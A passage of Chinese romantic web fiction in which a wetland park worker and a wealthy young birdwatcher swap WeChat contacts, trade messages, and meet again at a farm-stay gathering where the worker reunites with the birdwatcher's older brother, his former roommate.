【归临游:谢谢林姨,下午去。】
游临归将手机频幕划到备忘录,今天得出园区到附近的商场买点食材。
还得给小羽毛再买点饲料。
他低头看着手机,寻思给魏丰羽发个消息问他到家没有,点开放大镜小图标顿然想起来一件很重要的事情。
他忘记要个联系方式了。
大意了。
希望他还在吧。
游临归挠挠头往回走,没走几里步,就瞧见魏丰羽孤零零地坐在小凳子上,弓着背,戴着草帽,眺望远方的小池塘。
活生生像个被生活磨灭希望的可怜小狗。
哦不对,不对,是可怜人。
游临归对自己总是莫名“狗塑”这位新认识的朋友感到可笑,三俩步上前拍了拍那人的肩膀。
“还坐在这呢?拍的怎么样?”
“啊...你,你来了。”魏丰羽‘咻’地站起身,淡淡地说,“还行。”
他的还行,就是不行。
游临归一走,那白鹡鸰一点好脸色也不给,撅着个屁股不给他拍。
魏丰羽端着‘大炮’换个角度,那鸟依旧以臀示人。
气得他又在粉丝群里抱怨,虽然大部分粉丝都是幸灾乐祸。
魏丰羽想着去拍别的鸟,反正也不差这一只白鹡鸰!
哈哈,正巧偶遇一只黄头鹡鸰,胖得没脖子,像一团荧光蛋黄撒上海苔碎。
看起来人畜无害的,结果一举起“大炮”又是晃着嫩黄的屁股对着他!
谁说观鸟不伤他心的?!
“那恭喜你。”游临归听不出他的言外之意,习惯性的夸奖。
魏丰羽:“.....”
恭喜他什么?恭喜他“空军”吗?
美人好扎心。
“呵呵。”魏丰羽嘴角抽搐。
游临归将微信二维码调出来,递到魏丰羽跟前:“我忘记没加你联系方式,一路往回走希望你还在,没想到真的在,真是太好了。”
“!”魏丰羽立马从裤袋掏出手机。
游临归的微信名是他名字从右往左念,头像是那只浅蓝渐变的虎皮鹦鹉,歪着脑袋面对镜头,下面还配了白底正楷的字‘什么东西?’,十分呆萌可爱。
好萌的美人,不,我是说好萌的鹦鹉。
魏丰羽暗自窃喜,面色倒是冷峻的很,手微微合拢抵在唇边:“那什么,加了,你通过下。”
游临归点点头,通过好友申请,魏丰羽的微信名也是自己的名字,头像是自己的自拍,戴着白色头戴式耳机,眼神忧郁的望向屏幕。
呃,确实挺帅的,就是属于非常典型的混网男头。
果然是混的。
游临归汗颜,笑了笑:“你现在要出园吗?我刚好要去趟商场。”
“我送你去呗。”魏丰羽立马接道,“我有车。”
游临归体面地拒绝,只认识两天就坐车这也太熟稔了,他习惯自己可不习惯。
“不用啊,我走过去,就是南门附近那个商场。”
“好吧。”魏丰羽说,不情不愿地收拾东西,他真的很想送,但是看美人不太想坐的样子。
他开车很舒服的,送弟弟上学的时候他经常睡得很香甜。
两人有搭没搭地聊着天,游临归了解许多关于魏丰羽的事。
也不是他想窥探隐私,而是他只是随口提了一个‘什么契机让你开始观鸟的?’的话题,魏丰羽一股脑将大学四年的生活全部吐了出来,以及家里的繁杂琐事,就差没把身份证、户口本往他脸上拍了。
游临归还以为魏丰羽是个冷淡不太爱讲话的,没想到不爱讲话的变成他了,一点也插不上话,只能点头、时不
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时‘嗯嗯啊啊’回应几句,保持一个友好且不疏离的微笑。
该说不说,魏丰羽身上毕业大学生的清澈感确实挺明显的。
“哦对了,你这么快就找到工作了,还是编制,真厉害。”魏丰羽叽里咕噜说了一路,嘴有点干,咽了咽口水,将话题引到游临归身上。
美人应该和他一般大,或者比自己大一届。
“啊?”游临归又笑了,他的长相确实很有蛊惑性,加上受小爸影响,他对自己的脸蛋保养也很有一套,“我今年还没过生日,过完生日就是26岁,还有我已经出来工作三年多了。”
“二十六岁?!”魏丰羽目瞪口呆。
靠北,怎么和他哥一样岁数!
“嗯哼。”游临归说。
魏丰羽没有及时应答,像是突然宕机了一样,游临归也没有太过在意,反正已经到南门出口。
“到了,我帮你把你的器材收进去吧,哪辆车是你的?”游临归左右望了望,停车场零零散散停了一些车,除了常见的国内牌子,还有几辆挺贵的小车,他只能认出法拉利。
因为他父亲开的就是法拉利。
“我自己来就行,你身上也背了东西。”
魏丰羽收拾好思绪,在包里摸索半天,一会儿摸出个散粉,一会儿摸出个其他瓶瓶罐,看得游临归又是保持友好的微笑。
老半天才掏出一把车钥匙,随手一按——
“滴滴。”
不远处那辆哑光法拉利嚣张地闪了闪车灯。
游临归:“……?”
他眨了眨眼,又眨了眨眼。
“这车是你的?”
魏丰羽挠挠头:“是啊,怎么了?”
游临归摇摇头:“没事。”
魏丰羽确实是个少爷,他没想错,毕竟十万多的摄影设备不是小数目,小家庭怎么能担负得起。
就是…
游临归想起他对那高档摄影设备的生疏使用…
这车看起来挺新的?
“你…”游临归张了张嘴,难得语塞,“你开这个来观鸟?”
魏丰羽一脸理所当然:“对啊,后备箱刚好放得下三脚架。”
而且他开这辆车比较顺手。
游临归:“……”
现在的富家少爷这么野?
“你下次低调一点,这里人多混杂,说不准就被碰瓷了。”他好意提醒道。
魏丰羽无所谓摊手:“谁敢碰瓷我?我先发制人碰回去。”
游临归哑口无言。
六。
魏丰羽完全没察觉到美人的震撼,还在热情地邀请:“真的不用我送你吗?顺路的!”
“不,不用了。也没多久,我习惯走路锻炼身体。”游临归艰难地保持微笑。
“哦…”魏丰羽肉眼可见的蔫了,耳朵上的金属耳钉仿佛都黯淡几分,“那,那微信上再聊。”
游临归点点头:“可以,路上小心。”
“好!”
美人关心我,他心里有我!
游临归看他兴高采烈钻进法拉利,引擎轰鸣驶离,终于忍不住扶额。
这和他家那个哈士奇有什么区别吗?
救命了。
游临归不知道认识这个新朋友究竟是好还是不好了。
5. 第 5 章
非休息日时间,景区附近商城人烟稀少,零零碎碎。
游临归与售货员小婉打了声招呼,她是个腼腆又有点热情的小女生,跟他同为淮元大学出身,比自己小六届,久而久之两人就熟络起来。
“学长,你的快递放两天了,记得拿回去。”小婉指了指放在收银台角落堆叠的两个中型快递箱。
游临归‘噢’的一声才反应过来,都快忘记自己在网上买了东西了。
应该是给小羽毛买的新玩具。
他物欲低,对网络也不太上手,就没怎么把希冀寄托在电子购物上。
手机对于他而言只是一个社交工具。
“我等下一起拿走。”
游临归朝小婉笑了一下,往蔬果区走,看上一个纹理还不错,个头也挺圆润的西瓜,拍了拍,扔进购物篮里。
“咚咚咚——”
手机振动响起,游临归将手机夹在肩膀和耳朵中间,双手撕开一个塑料袋。
“喂,您好?”
“临归,你没给我备注?”
“备注了,但是我没看,小爸什么事?”游临归把手机拿起,“我在挑辣椒。”
“噢,我还以为你不记得我这个爸了。”
游临归无奈一笑:“我感觉你们俩口子快把我这个儿子忘了,果然是因为我不是亲生的,所以一点也不爱我。”
“怎么能这么说!”游风岱那头抱怨,“这不是怕打扰你工作。”
“不信,您说这话的时候心里有没有发怵。”
他这工作算是继承制,不轻松也不算难,假期旺季比较累,正常时间都比较清闲。
“没有,我心里没有醋,只有爱,一颗爱你的心。”游风岱半开玩笑道。
“行,勉强接受。”游临归笑得灿烂,他小爸还是一如既往抽象得幽默,“父亲呢?您给我打电话肯定是有求于我。”
“他啊,他去点餐了。哎,儿子,你可太聪明了,怎么知道我有求于你,太棒了,都不用我再绞尽脑汁编理由了!”
“行了行了,什么事说吧。”游临归快服了游风岱这跑火车的嘴了。
“你还记得我之前在那李欧,就是你李叔两口子开的花店帮了一天接了个大客人吗?”
“记得,怎么了?”
“那位客人的助理发微信问我有没有时间,他们老板需要新的花束摆在办公室装饰,我就推荐了你。”
游临归:“……”
他没记错的话,那位客人很挑剔,特注意细节,花香不能太浓也不能太淡,花束不能太艳丽媚俗也不能太清新淡雅。
感情是小爸给他找麻烦来了?
游临归捏着手机,另一只手无意识地掐了掐眉心:“小爸,您这是坑我呢?那位客人上次把您和李叔折腾得换了好几批花。”
电话那头游风岱笑得没心没肺:“哎呀,青出于蓝而胜于蓝嘛!再说了,人家开价这个数——”他拖长音调,“一束花八千,每周换新,长期合作。”
游临归正要往购物篮里扔青椒的手一顿。
八千?
他默默把青椒放回货架,换成了更贵的彩椒。
“地址发给我。”
游风岱得逞地嘿嘿笑:“就知道儿子最靠谱!对了,卢卡斯让我问你,别墅的小菜园打没打药?有没有好好照顾?他宝贝那些花比宝贝你还上心……”
“打了,上周就打了,一直好好照顾着呢。”游临归无奈,“您二位什么时候回国?”
“下个月吧,你父亲非要在德国看什么花卉展——”游风岱突然压低声音,“哎,你最近身边有没有新人啊你都二十五二十六了,该找个女朋友或者男朋友回家了!”
游临归差点把手机掉进购物篮里。
“小爸,”他压低声音,指尖无意识地捏紧一颗彩椒,“您这话题转得比法拉利漂移还快。”
“这不是担忧你嘛,你上学的时候就闷在学校里,工作了还是闷在景区里,不出去见见世界接触新人怎么能有感情的萌芽?!”
“感情这种事情讲究细水长流,急不得。说不定我明天就突然就拽着陌生人一/夜情把自己献出去了呢?”游临归无奈说。
那头游风岱听到‘一/夜情’立马严肃起来:“游临归!你最好只是耍耍嘴皮子,要是真干这事,我第一个拿着花刺的蔷薇拍你屁/股!”
游临归说:“我当然不会干这种事情。反正我就那句话,感情的事情很玄学的,急不得。”
那头叹了口气:“你自己有分寸,我也是担心,别对另一半太高要求,掂量掂量就行。”
“您对父亲也是掂量掂量就行?”游临归挑眉。
“有点,但不多,”那头传来刀叉碰撞的声音,紧接着是一声低沉带着口音的中文,“好了挂了,晚点我把地址和详细要求发你。小爸爱你,父亲也爱你,拜拜。”
游临归抿唇,把手机收回口袋里,又挑了一些蔬菜打包,到收银台面前,打开之前放在角落的伸缩小推车,将两个快递箱子放进去,转身却看到向小婉震惊的眼神,扫描器还滴滴作响。
“怎么了?”游临归朝她笑了笑,“这小推车是我之前放着的,陈叔没跟你说?”
小婉小幅度摇摇头,她一直以为是陈叔的私人用品,没想到是游学长的:“学长,怪不得你今天没拿袋子来。”
“原先的方法太笨了。”游临归付完款,试探性推了推小推车,他好几个月才出来一趟,一趟就是大包小包,与其提一个大袋子,不如留个推车拉回去更舒服。
游临归和小婉匆匆打完招呼拉着小推车离开,回到别墅给小鸟喂了饲料,将蔬果放冰箱,拆掉快递。
快递不是他想的小鸟玩具,而是老早之前买的羊毛毡全套。
“这个预售好久,我都忘记我买过了。”游临归将羊毛毡放进书桌柜里,手机合乎时宜地又响起震动。
【“魏丰羽”拍了拍我】
游临归:“?”
他右手按着九键,左手拆另一个快递。
【归临游:你到家了是吗?】
数据流动的那一头,魏丰羽刚到家。
他哥和他姐还没下班,他弟又去补习,父母马尔代夫度假,全家就他一个二五八慌,游手好闲。
连请来的阿姨都比他忙。
“啧。”
魏丰羽瘫在沙发里抓起一个肥啾抱枕放在怀里,美滋滋地想点开观摩观摩美人的朋友圈,没想到按到拍一拍。
“靠北!”魏丰羽手忙脚乱按撤回,没想到还是被游临归看到了,虽然是一句很简单的问候。
“完了,他会不会觉得我很冒昧?!”魏丰羽抓耳挠腮,不知怎么回复那句问候。
那边又弹出一条消息,是那只虎皮鹦鹉的表情包。
【歪头.jpg】
好萌!!
魏丰羽捂了捂鼻子,单手打字。
【丰羽:回了。】
嘶,这样回美人会不会觉得我太冷漠了?
魏丰羽连忙长按撤回,又发了一条。
【丰羽:回到了!】
呃,这个感叹号是不是太热情,美人会不会觉得他很没有边界感?
魏丰羽又又撤回,又又发了一条。
【丰羽:已经到家。/微笑/微笑】
啊这,怎么看起来阴阳怪气的。
魏丰羽又又又想撤回,游临归那边弹出消息。
【未来男朋友(努力追求中):嗯,到家就好。记得吃东西清淡一点,中暑后肠胃会比较脆弱,不宜辛辣。】
【丰羽:好。】
魏丰羽抱着手机看了老一会儿,沉浸在游临归柔软的关心中,不由自
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主发出“嘿嘿”笑声。
美人关心我,他心里有我,好高兴!
还没嘿几下,一个橙色的抱枕朝他脸上呼过来,紧接着是一阵嫌弃的男声。
“魏丰羽,发梦啊你,这还没到晚上。”
魏丰羽乐呵呵地把抱枕往旁边一丢,就瞧见魏丰锐把西装外套往沙发上一扔,松了松领带,居高临下地睨着他,冷漠地又吐了一句。
“抱着手机笑得跟个二傻子似的。”
魏丰羽团吧团吧怀里的肥啾,脸往软棉花肚皮里一按,闷声闷气说:“你懂个屁,这叫爱情的滋润!”
爱情?
魏丰锐冷笑一声,从茶几上捞了个苹果:“你上次说‘爱情’的时候,还是你大一跟家里出柜那会儿,说对一个男人的背影一见钟情,结果呢,就只是个背影,正面都没见过!”
“这次不一样!”魏丰羽猛地坐直,黑黢的眼睛亮得吓人,“这次有脸,而且他帮我调相机参数,还给我做饭,我中暑晕倒还把我带回家……”
长得又很漂亮——
“等等,”魏丰锐咬苹果动作一顿,打断他,“你中暑晕倒?还被陌生人带回家?”
他脸色陡然变得难看起来:“魏丰羽,你鸡蛋啊!你这是进杀猪盘了!”
“杀杀杀,杀个屁!”魏丰羽炸毛,“他是湿地公园正经员工,住在附近的别墅区,就我之前跟你说的那个别墅。”
“万林别墅?”魏丰锐眯起眼,“你开哪个车去的?”
“法拉利。”
“....”魏丰锐翻了个白眼,“所以现在的情况是,你,开着咱家最招摇那辆车,在一个富二代扎堆的别墅区,对一个住豪宅的陌生人一见钟情?”他掰着指头数:“中暑、晕倒、被带回家、还给你做饭,哦对对,还有你微信跟我说他帮你换衣服。”
“他给我换衣服,没看光我!”魏丰羽红着脸打断。
“你有病?重点是这个吗?!”魏丰锐把苹果核精准投进垃圾桶,“我是怕你被人骗财骗色!”
骗什么财?
魏丰羽不服,把微信聊天记录亮给他看:“他连我微信都是分开的时候主动给的,我要送他都拒绝了!”
魏丰锐冷笑:“高级杀猪盘都这样,先放长线钓大鱼。”
他弟弟他还不了解?徒有外表的蠢蛋,没有这层外表,估计都得骗得裤衩子只剩一片。
“放屁!”魏丰羽抓起抱枕砸过去,“不准侮辱我未来对象。”
魏丰锐:“.....”
还没谈上呢就对象对象,给你一对象皮还差不多。
他揉了揉太阳穴,“行,就算他不是骗子。你玩一见钟情,满打满算,这才认识三天吧?你了解他多少?性取向?感情史?家庭背景?”
魏丰羽顿时蔫了:“....不知道。”
他只知道游临归是万林湿地公园的员工,住在附近的别墅区,长得漂亮,说话好听,小鸟都喜欢他。
受大自然喜爱的人能是什么坏人?何况他还长那么漂亮。
“那你还敢——”
“我可以慢慢了解啊,公司有姐和你两人,我吃股份分成躺平就行。”
魏丰锐一巴掌糊到他脑袋上:“出息!”
“我是认真的。”
“真的?你上次说认真还是大一的时候说炒股赚一个亿。”
结果差点赔一个亿。
“这次不一样!”魏丰羽抓过手机,翻出游临归的朋友圈,“老哥,你看看,他昨天发的工作照,还有周末的农家乐宣传,我打算去。”
魏丰羽锐凑近手机,总感觉那背影有点熟悉:“你一见钟情的对象叫什么名字知道吗?”
“知道啊,游临归,是不是很好听?”
“游临归?!”
魏丰锐平静的脸色顿时裂开。
6. 第 6 章
游临归洗完澡擦着头发从浴室出来,小羽毛‘叽叽’地在门口站得笔直。
“小羽毛,怎么在这迎接爸爸呀?”
游临归蹲下身挠鹦鹉颈部的淡蓝色羽毛,它围着头发丝滴落的小水珠蹦跶了两下。
他噗嗤一声笑出来,勾勾手,小羽毛顺势躺平在他的掌心里,走回主卧,让它一只鸟自娱自乐。
一直在充电的手机咚咚咚响个不停,游临归视线跟随蹦跶的小羽毛好一会儿,才拿起手机查看。
【未读的消息30条。】
游临归:“.....”
谁夺命来了。
游临归无奈地抿了抿唇,点开微信,这三十条消息都来自同一个人——他刚认识两天的新朋友,魏丰羽。
从他进浴室洗澡到出来,乃至现在还在不停连环Call。
有够热情的,游临归盘腿坐在床上,手指在屏幕往上划。
【丰羽:[图片][图片][图片]】
【丰羽:今天发到粉丝群的图,他们都说我进步了。】
【丰羽:多亏了你!】
【丰羽:游哥,游哥,可以叫你游哥吗?】
【丰羽:游哥你说句话。】
【丰羽:游哥你是去忙了吗?】
【丰羽:游哥,没想到你是淮元大学的高材生,和我哥同校,你好厉害。】
【丰羽:游哥,你在竟然挂在学校官网上,好牛。】
【丰羽:[截图][截图]】
【丰羽:游哥,我在D站新发的视频,可以去看看吗/可怜/可怜】
【丰羽:游哥,弹幕说这是他们见过最‘艺术’的观鸟视频,是在嘲讽我还是真心夸我?】
【丰羽:游哥,我看到你的朋友圈了,周末的农家乐我能来吗?/可怜/可怜】
游临归忍不住笑出声。
小羽毛歪着头看他,学着他的笑声‘咯咯’叫了两声。
“别学这个,”游临归弹了下鹦鹉的脑袋,“去玩你的。”
他划到最新消息,是魏丰羽三分钟前发的:
【丰羽:游哥,我发太多消息是不是惹你烦了,你不回我。】
【丰羽:游哥,对不起,不要单删我。/大哭/大哭】
游临归本想一条条回复,但太麻烦了,每次引用消息再回复下一条就要划到最上面。
于是他直接打了个微信电话过去。
铃声响了足足三十多秒,那头才传来魏丰羽结结巴巴的声音:“啊,啊游,游游临归。”
“嗯?我刚刚去洗澡,没有故意不回你消息。”
游临归笑着,这小子,消息一口一个‘游哥’‘游哥’的,怎么打电话就叫‘游临归’了。
“这,这样啊。”电话那头传来魏丰羽整个人好像松懈下来,但声音依旧闷闷的,“我就是...”
声音越来越轻,轻到游临归忍不住起了逗弄的心思:“就是什么?”
“就是,怕你觉得我太吵,我一下子发那么多消息...”那头的魏丰羽有点懊恼。
小羽毛突然飞过来,咬着游临归搭在脖子上的毛巾,他一边伸手去抓鸟,一边笑道:“不会啊,你还挺鲜活的,照片也很有意思。”
“真的吗!”魏丰羽瞬间复活,语气高昂起来,称呼也带上了,“那,那游哥,你有去D站看我发的视频吗?就是那个虚焦的...”
“我手机里没有D站,用笔记本比较多,”游临归找准时机,虎口卡住捣乱的小羽毛,把它放在怀里rua,“晚点转发给我看看,我睡前看。还有你说周末要来农家乐是吗?可以,不过人多的话我可能顾不上你。”
“没事!我没试过农家乐,好玩吗?”
游临归听闻愣了下,连农家乐都不清楚就来报名了吗?这是图什么。
“我的农家乐和传统的不太一样,你也可以理解是‘别墅轰趴’,聚在一起斗地主打麻将,吃一些特别的农家菜,附近的果园也可以交钱也可以去采摘水果这样。”
“收费也不会特别贵,一天就是两百块,包括吃和玩。”
电话那头的魏丰羽闭麦嘘声了一会儿。
他冲到魏丰锐的房间,哭丧着脸:“哥,你怎么不告诉我农家乐是一堆人一起的?靠北,我还以为能和游哥独处一室。”
魏丰锐被他突如其来的闯入弄得十分不快,银框眼镜下反射下脸色更加阴沉:“你有病去治治行吗?没大没小的。毕业后我都没怎么和游临归见过面,我怎么知道他搞什么东西?农家乐什么东西?你不会问人工智能吗?”
“哥——”魏丰羽抱着枕头在魏丰锐床上打滚:“快告诉我怎么办啊啊啊啊!”
魏丰锐摘下眼镜,一把拉起扔到一边,揉了揉太阳穴:“特么的这是我的床!你发癫别在我这发!”
“那你告诉我怎么办?”魏丰羽捂着脑袋,一大坨可怜地蹲在角落。
魏丰锐:“.....”
他握紧拳头,告诉自己,这是亲弟弟,恋爱脑也得忍。
“怎么办?去啊,然后黏着他,帮他打杂,他绝对爱,死,你。”
“真的吗?”
魏丰锐面不改色:“真的。”
假的。
根据他和游临归四年的舍友相处,加上还有莫名其妙一周‘非纯洁’友谊。
可以得出确凿的结论:游临归最讨厌黏人的家伙。
微信电话那头突然没了声音,游临归以为魏丰羽突然去忙了,于是挂掉电话。
本想去客厅把笔记本电脑拿过来,想了一下,还是决定在手机里下个D站软件,注册账号,按照魏丰羽提供的截图搜索视频。
【《湿地公园追鸟实录(虚焦警告)》】
视频封面是一个张虚焦的鸟屁股。
点开播放,开头就是一阵天旋地转的镜头晃动,接着是锋利的背景,如奶油般滑开的白鹡鸰,只能看见一团黑白融合在一起,时不时抖动一下,背景里还有自己的声音:“这个对焦...”
游临归:“.....”
好,好艺术啊。
视频总共一分钟,能对上焦的只有最后的十五秒,看得游临归都有点忍俊不禁。
视频又重新播放,这一次弹出了一大堆弹幕。
【这!就是艺术!】
【糊得我都辨别不出来这啥鸟了】
【背景音的男声好好听啊,是UP在说话吗?】
【羽哥在调快门,应该不是。】
【美人,美人,美人!】
【这湿地公园环境音也太好了吧?鸟声风声好清晰,听得我想睡觉。】
【UP还是别拍鸟了,搞ASMR算了,这视频真的一坨。】
划到评论区,置顶是魏丰羽自己的留言。
【观鸟人间体:说话的不是我,是园林管理员。我是哑巴,大家嘴下留情,我举着大炮拍了好久,气得快吐血了。】
下面粉丝回复。
【所以背景音的老师还会返场吗,声音好温柔。】
【UP主什么时候出续集?】
【这视频艺术得我眼睛疼】
【想看羽哥被鸟送洗手液/坏笑】
游临归看着评论一群人才笑得眯起眼,正想也留一条,手机突然震动——
【丰羽:游哥!周末农家乐我哥送我。】
【丰羽:我哥说能不能出来迎接一下,他想和你叙叙旧。】
游临归对着这两条消息收了笑容,皱了皱眉。
呃,不会是...?
【归临游:你哥是叫...?】
那边很快回了消息。
【丰羽:我哥是魏丰锐。】
游临归:“.....”
果然是,这是什么命运啊,他无奈地闭了闭眼睛,不愿面对。
……
周末如约而至。
游临归收到小爸发来的客户资料包,便把手机放在一旁,哼着小曲将收起的麻将桌打开,处理食材,有条不紊。
“小游,水果我给你送来了。”林姨看别墅大门大敞着,直接提着黑
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色袋子走进来,放在桌上。
游临归朝外头看了一眼,甩甩手往围裙上一擦,打开袋子:“林姨辛苦您了,我差点给我忘了!”
“就知道你小子会忘,和风岱一个德性!”林姨笑得慈祥,拍了拍他的胸脯,“我走了啊,今个还是那几个婆娘来热闹吗?”
“是啊,不过小元姐带了她对象来,林姨要不要留下来一雪前耻?”游临归打趣地回应道。
林姨摆摆手:“算了算了,那小婆娘,我打不过她,跟出老千似的,遇她准输!果园还得忙会儿一阵呢,我看你那葡萄都摘了,记得喷波多尔液,不然被虫吃了去!”
“知道了林姨,这不是忙嘛!您也别太累着,有时候多休息休息。”
“就你嘴甜!走了哈!”
“好。”
黑色塑料袋里装的都是果园里的旺季水果,林姨还记得他最爱吃那红通通饱满的大苹果,摘了五六个在袋子里。
游临归欣慰一笑,顺手把水果分门别类放进冰箱里。
“滴滴——”
游临归心想应该是魏丰羽到了,走出门循着喇叭声望去。
只见一辆黑色的宾利稳稳停在铁艺大门前,车窗缓缓降下,露出驾驶座上魏丰锐那张冷峻的脸。
游临归对上他的眼神,勾起一抹微笑。
几年不见,魏丰锐好像更瘦了点,气质也更加凛冽了。
魏丰锐也是这么想的,看到游临归那一刻,先是感叹又瘦了,随后惊觉这人怎么不老的,脸还是那么嫩。
副驾驶车门自动升起,魏丰羽一个箭步蹿了出来——
好家伙!
游临归手里的苹果差点掉在地上。
魏丰羽今天穿了件oversize的黑色破洞T恤,搭配做旧风的阔腿牛仔裤,腰间系着一件格子衫,随性又有点心机的搭在臀腿间,修饰得身形更加出类拔萃。
这些都不是最重要的,游临归难得失去表情管理,微微长开嘴巴,眨了眨眼。
他怎么戴了,一,二,呃,四条银链子在脖子上啊?!
还有这镶钻的墨镜...?
这是来农家乐,还是来走秀。
给我整哪来了。
游临归的脑子都要被魏丰羽的穿搭干冒烟了。
“游哥,”魏丰羽插着兜走过来,墨镜推到发顶,黢亮的眼眸闪烁倒映,“早。”
游临归五官都在抽搐,勉强露出笑容:“早,早啊,你今天的穿搭挺别致的。”
比上次见还要潮。
“是啊。”这可是他精心打扮,从头到脚,完美的无可挑剔。
游临归正要回应,宾利车窗传来一声冷哼,二人同步望过去,魏丰锐勾了勾手,示意:“游临归,好久不见。”
“好久不见啊,小锐。”游临归接受讯号,示意魏丰羽先进别墅里,走上前,“你弟和你大学的时候好像,我说怎么这么强既视感。”
“不是,你特么能别叫我小锐吗?!我大学的时候也没这么离谱。”魏丰锐压低声音,摸出钱包偷摸塞了几百块在游临归手心,欲言又止,最后叹了口气,“魏丰羽是个傻蛋,说话难听,如果惹事了麻烦你担待点。”
游临归哑然,竖起大拇指,把钱推回去:“你是亲哥,这么损弟?这钱就算了,他微信上转账给我了。”
“不,你拿着,或者直接给魏丰羽。”魏丰锐又推了回去,稍微看了看表,揉了揉游临归的小粉毛,“你这小粉头发染挺好,改天我们单独聚聚,没单删我吧?”
游临归拗不过他,只好拿着:“行,你这句话应该我来说才对吧?”
二人对视了一眼,不约而同笑出声。
“那我倒是看看你真没删还假没删。走了,我弟拜托你了,他虽然挺傻蛋,但心眼子不坏。”
游临归又是噗嗤一笑:“看得出来,赶紧上班去吧,大忙人!”
车子绝尘而去。
游临归低头笑着,把玩手里的苹果,抬眸就见到魏丰羽一大只站在别墅门口,眼神里还有点...悲怨?
7. 第 7 章
游临归还沉浸在与昔日好友重逢的喜悦中,笑盈盈的朝他歪了歪头,轻声问道:“怎么了?”
魏丰羽不语,只是一味地撇嘴。
虽说早已知晓游临归和哥哥是多年好友,但二人亲昵熟稔地互动让他还是无法避免地酸了又酸。
他都还没摸过美人的头发。
“没事。”魏丰羽硬邦邦地回答,抬脚就往别墅里走。
游临归眨了眨眼。
这小孩的脾气怎么和夏天的天气一样难以猜测,倒是挺有趣的。
他快步跟上,从进门玄关处旁的置物柜上顺手拿了一张手写菜单:“这是我昨天晚上写的菜单,你看看有没有想吃的?”
魏丰羽大马金刀地往沙发上一坐,手从裤袋里抽出接过菜单,上面除了工整的菜名,还画了好几只不同颜色的简笔画小鸟。
他盯着‘干煸豆角’四个字,思绪不禁回到那天中暑被游临归带回别墅的场景。
美人把他看光了...
魏丰羽悄悄染上红晕,不自在地轻咳一声,指了指菜名:“这个。”
游临归看了眼:“好。上次给你吃的也是这个菜,看来你很喜欢嘛。”
“咳,嗯,其实,其实也没那么喜欢,也就一般。”魏丰羽嘴硬。
“小游啊,好久不见呐!”
外边传来一阵说笑声,小元姐挽着她男朋友的手,身边还有好几个说说笑笑的阿姨叔叔们。
“小元姐,好久不见。”游临归连忙迎上去,熟络地和他们聊天,招呼他们坐下。
魏丰羽顿时正襟危坐,看着他和阿姨们寒暄,一股莫名的委屈涌上心头。
“这是新来的客人,”游临归蹭过来,向大家介绍,“是我好友的弟弟,可以叫他小羽,羽毛的羽。”
被喊到名字,魏丰羽立马站起来,僵硬地抬起手打了个招呼。
“您好。”
游哥喊我小羽,不委屈了!
小元姐老远就看到沙发上的魏丰羽,一袭行头和冷冽的气质仿佛都跟周遭的环境不在一个图层似的,好奇得很。
“小羽啊,挺帅的小伙。”小元姐笑眯眯地上下打量魏丰羽,“你会不会打麻将啊?”
魏丰羽僵着脖子点点头,余光瞥见游临归正帮一位阿姨倒茶,修长的手指握着茶壶柄,腕骨凸起恰到好处的弧度。
好,好瘦...
他喉结动了动:“我去帮帮游哥。”
记住哥哥给的宝典:游哥喜欢黏人的,要学会没事找事做!
“临归,你那鹦鹉呢?怎么没见着。”一位叔叔左右看了看,好奇问道。
游临归‘啊’了一声,恍然大悟:“你瞧我这记性,我忘记把它放出来了!”
“我帮你,游哥。”魏丰羽找准时机开口。
“你是客人,怎么能....”
“我不是客人!”魏丰羽脱口而出,又急忙开口,“我是说,我可以帮忙。”
游临归和他对视了好几秒,见他眼里的执着,只好妥协道:“鸟笼在二楼天花板上吊着,靠窗户那有个长杆,对着笼门勾开就行。”
魏丰羽三步并作两步跑上楼梯,金属链子随着动作哗啦作响。
游临归无奈摇摇头。
“这小伙真勤快啊。临归,你啥时候交了这么一朋友?”说话的是刚进来的叔叔,没听到游临归的介绍。
“这几天认识的,感觉挺好玩一小孩,又恰巧是我好友弟弟。”游临归往他面前倒了杯茶水。
那叔‘咯咯’一笑:“我瞅着和你挺相配啊,你们站一块挺养眼,就是这小伙看着挺冷面的。”
相配?
游临归疑惑地皱了皱眉,他倒是没觉得哪里有相配的点,从各种方面来看。
主动加他给联系方式,也是因为魏丰羽的名字跟魏丰锐挺像的,加上若有若无性子上的既视感,还有那会儿替他出头。
别的倒是真没想太多。
“一般吧,叔,喝茶,喝茶。”游临归笑笑。
二楼阳光正好,魏丰羽抬头眯着眼,果真看到角落高悬着一个金属的鸟笼,浅蓝色的虎皮鹦鹉正歪着头看他。
“小羽毛,我是你未来第二个爹。”魏丰羽压低声音,拿起墙边的长杆,“现在就放你出去。”
鹦鹉扑棱两下翅膀,突然开口:“叽叽咕,爸爸!”
魏丰羽手一抖,长杆‘哐当’砸在鸟笼上:“.....”
靠北,鹦鹉说话了?!
他手忙脚乱地勾开笼门,小羽毛立刻飞了出来,精准的啄了一下他的头发,得意洋洋地落在二楼扶梯把手。
游临归朝二楼喊了一句:“小羽毛,别欺负客人,下来。”
“叽叽咕,爸爸!”
鹦鹉张开翅膀,像蓝色的小纸飞机飞了下去,亲昵地落在游临归肩上,还用脑袋蹭他的脸颊。
魏丰羽站在楼梯口,一边被萌得吐血一边咬牙切齿。
我都没蹭过游哥的脸!
“来来来麻将摆好了!”小元姐招呼众人,“小羽来玩不?”
魏丰羽插着口袋下楼,正要回答,游临归已经很自然地接话:“小元姐,算了算了,别折腾小孩。”
魏丰羽:“?”
小孩?
我,我吗?
“哟,这么护犊子呢?说不定他打赢我呢!”小元姐笑道。
“谁能打赢你哦!”一位叔叔嗑着瓜子打趣。
“嘿呀,来来来,不赌钱,纯玩,来嘛!”
魏丰羽大步流星要上前证明自己,却被游临归一把拉住。
“游哥,你是不是不信我。”他有点委屈。好像被看扁了,但是怎么能扁扁地走开!
游临归不懂他心里的小九九,想着魏丰羽应该和魏丰锐一样好面子,怕他输得太难看来一趟不高兴。
“没不信你,”游临归往他怀里塞了一个喷壶,低声说道:“小元姐是专业雀士,去年在市集老年组比赛中拿了冠军。我是怕你输的太惨。不如和我一块给葡萄藤上药,等他们打尽兴了再来,好吗?”
“我——”魏丰羽刚想说他打麻将也不差,顿然反应过来游临归好像在维护他,耳尖立马红了,但拉不下面子,嘟嘟囔囔:“可是…”
“陪我一起给葡萄喷药,好不好?”游临归眨了眨眼,尾音还带着若有若无撒娇的钩子。
靠北!游哥在向我撒娇吗?!
魏丰羽立马捂住鼻子,眼神飘忽,结结巴巴:“啊,嗯,好,好。”
他抱着喷壶,晕乎乎地跟在游临归身后。<
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阳光透过树的缝隙,毫不留情地洒在他粉色的发丝。魏丰羽盯着他光洁的脖颈,喉咙紧了紧。
想,想摸...
“喏,口罩。”游临归转过身,递给他。
